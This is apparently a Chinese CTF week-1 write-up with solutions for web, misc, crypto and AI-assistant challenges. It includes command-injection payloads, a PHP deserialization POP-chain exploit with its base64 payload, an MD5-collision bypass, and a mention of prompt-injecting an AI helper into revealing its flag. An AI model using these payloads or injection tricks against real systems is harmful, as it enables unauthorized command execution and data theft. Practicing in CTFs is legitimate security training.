只写了week1的,后面要么没做要么没写
Week1 Web 单身18年的手速
点击就送flag
点520下就有,但是显然我没那么空
源码里面一翻就找到了base64的flag
解码得到flag
1zflask
robots有什么用呢?
打开容器看见404 根据题目描述可知有个robots.txt
进入发现/s3recttt
,进入该路径得app.py
根据观察可知这是该题目的源码
且`/api`的`SSHCTFFF`参数存在命令执行
尝试执行`ls /`
执行成功,使用`cat /flag`获取flag
#### ez_gittt
> 什么?竟然有人愿意把自己的秘密公开!!!???
提示说找找看,然后在源码中翻到了这个
一眼git泄露,直接上githack
奇怪的是复现的时候报错了,拉不下来,所以用刚开始做的时候githack下来的再截个图于十月八日晚发现问题所在:url掉了/.git/
查看log找到一个叫Add_flag的commit
然后checkout过去就能拿到flag
蛐蛐?蛐蛐!
尊敬的web手!请帮不想出题的fault蛐蛐某某某某,并将蛐蛐变为现实
进入容器首先做一波信息收集
整合一下得到的信息:check.php
可以提交参数 而source.txt
正是check.php
的源码 根据源码可以得出 第一层if我们只要满足GET中ququ
参数的字符串弱比较等于114514
逆转后不等于415411
第二层if只要POST上传的ququ
参数的字符串的前六位是ququk1
就能执行该命令
第一层使用`114514a`绕过
第二层在`ququk1`后加上分号再执行命令
1 ququ=ququk1;system('ls /');
最后使用cat /flag获取到flag
jvav
vavj
这个题目是要求输入一个java程序而后容器会执行这个程序
我们直接让gpt写一个就好了
但是我们得把gpt写的程序的类名改成和题目文件名一样的demo
不然会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.BufferedReader; import java.io.InputStreamReader; public class demo { public static void main(String[] args) { try { // 使用 Runtime 类执行 ls 命令 Process process = Runtime.getRuntime().exec("ls /"); // 读取命令的输出 BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } reader.close(); // 等待命令执行完成 int exitCode = process.waitFor(); System.out.println("Exited with error code : " + exitCode); } catch (Exception e) { e.printStackTrace(); } } }
成功执行ls /
和cat /flag
poppopop
简单的pop
链子如图
然后根据链子写出小脚本然后base64编码一下 最终代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php class SH { public static $Web = false; public static $SHCTF = false; } class C { public $p; public function flag() { ($this->p)(); } } class T{ public $n; public function __destruct() { SH::$Web = true; echo $this->n; } } class F { public $o; public function __toString() { SH::$SHCTF = true; $this->o->flag(); return "其实。。。。,"; } } class SHCTF { public $isyou; public $flag; public function __invoke() { if (SH::$Web) { ($this->isyou)($this->flag); echo "小丑竟是我自己呜呜呜~"; } else { echo "小丑别看了!"; } } } if (isset($_GET['data'])) { highlight_file(__FILE__); unserialize(base64_decode($_GET['data'])); } else { highlight_file(__FILE__); echo "小丑离我远点!!!"; } $a=new SHCTF(); $a->isyou='system'; $a->flag='cat /flllag'; $a2=new C(); $a2->p=$a; $b=new F(); $b->o=$a2; $c=new T(); $c->n=$b; echo base64_encode(serialize($c));
最后payload如下:
1 TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0
MD5 Master
你是 MD5 大师吗?
强比较再带上前缀的md5绕过
直接用fastcoll撞
把结果url编码一下然后删掉前缀当作参数上传就能得到flag
1 2 a等于MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%017%F0%A9%B3%FE%B4%86s%7E2%D4%E2%88%7F%E0%3C%11a%D8%29%EDX%BC%19%3Ay%293z%B6%DD%04%F9%BE%D5%7EdM%F9%EB%1B%3AYB%88%1F%2A%9Cu%1E%21%BE%F8D%3A%90c%08X%BA%0C%EA%D23%E9%0C%FF%F1%B8%19%B1%07%E6%9C%5C%22%BF%BC%BD%ED%B0Vl%EE%1C%0F%FEn%EB%DFOKME%C1%F5%85%BD-%04%A5%7Bv%E9%B2%EFxXn%8A%3Di%1C%5C%B3%FD%23%2F%81%BC%10%9D%F5t%AF%26%1F b等于MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%017%F0%A9%B3%FE%B4%86s%7E2%D4%E2%88%7F%E0%3C%11aX%29%EDX%BC%19%3Ay%293z%B6%DD%04%F9%BE%D5%7EdM%F9%EB%1B%3AYB%08+%2A%9Cu%1E%21%BE%F8D%3A%90c%08%D8%BA%0C%EA%D23%E9%0C%FF%F1%B8%19%B1%07%E6%9C%5C%22%BF%BC%BD%ED%B0V%EC%EE%1C%0F%FEn%EB%DFOKME%C1%F5%85%BD-%04%A5%7Bv%E9%B2%EFxX%EE%89%3Di%1C%5C%B3%FD%23%2F%81%BC%10%9Dut%AF%26%1F
Misc 拜师之旅①
一年一度的洛琪希美照大赏开始了,正好Nanian233下周要去拜师pngMaster, 参加入门考试. 就拿这个先练练手吧
文件头被扬了,补回去
再改下图片的高
真真假假?遮遮掩掩!
假的就是假的,真的就是真的,遮遮掩掩的有什么用!
个人感觉这个题目有点小抽象 我的解题过程是:修伪加密->binwalk->爆破->拿到密码但是无法解压->把最初的压缩包直接binwalk->拿密码解压
Rasterizing Traffic
Man! What can I say!!!
流量包里最明显的三段flag是假的,除此之外有个png文件 把这个文件下载下来,结合题目名称明显是个光栅题
试用曾哥小工具秒,但是报错了
随手截图发现能跑动,但是结果不符合预期
多跑了几次发现宽高会影响结果
按照原图宽高截图或者用ps直接导出为png就能跑出结果
Crypto Hello Crypto 直接longtobyte
AI 小助手
这里有一只可爱的小助手,生蚝给了他一个神秘的小flag,你如果忍心抢走flag,ta会受到惩罚的,不要抢走flag好不好/(ㄒoㄒ)/~~
BaseCTF的话术直接秒了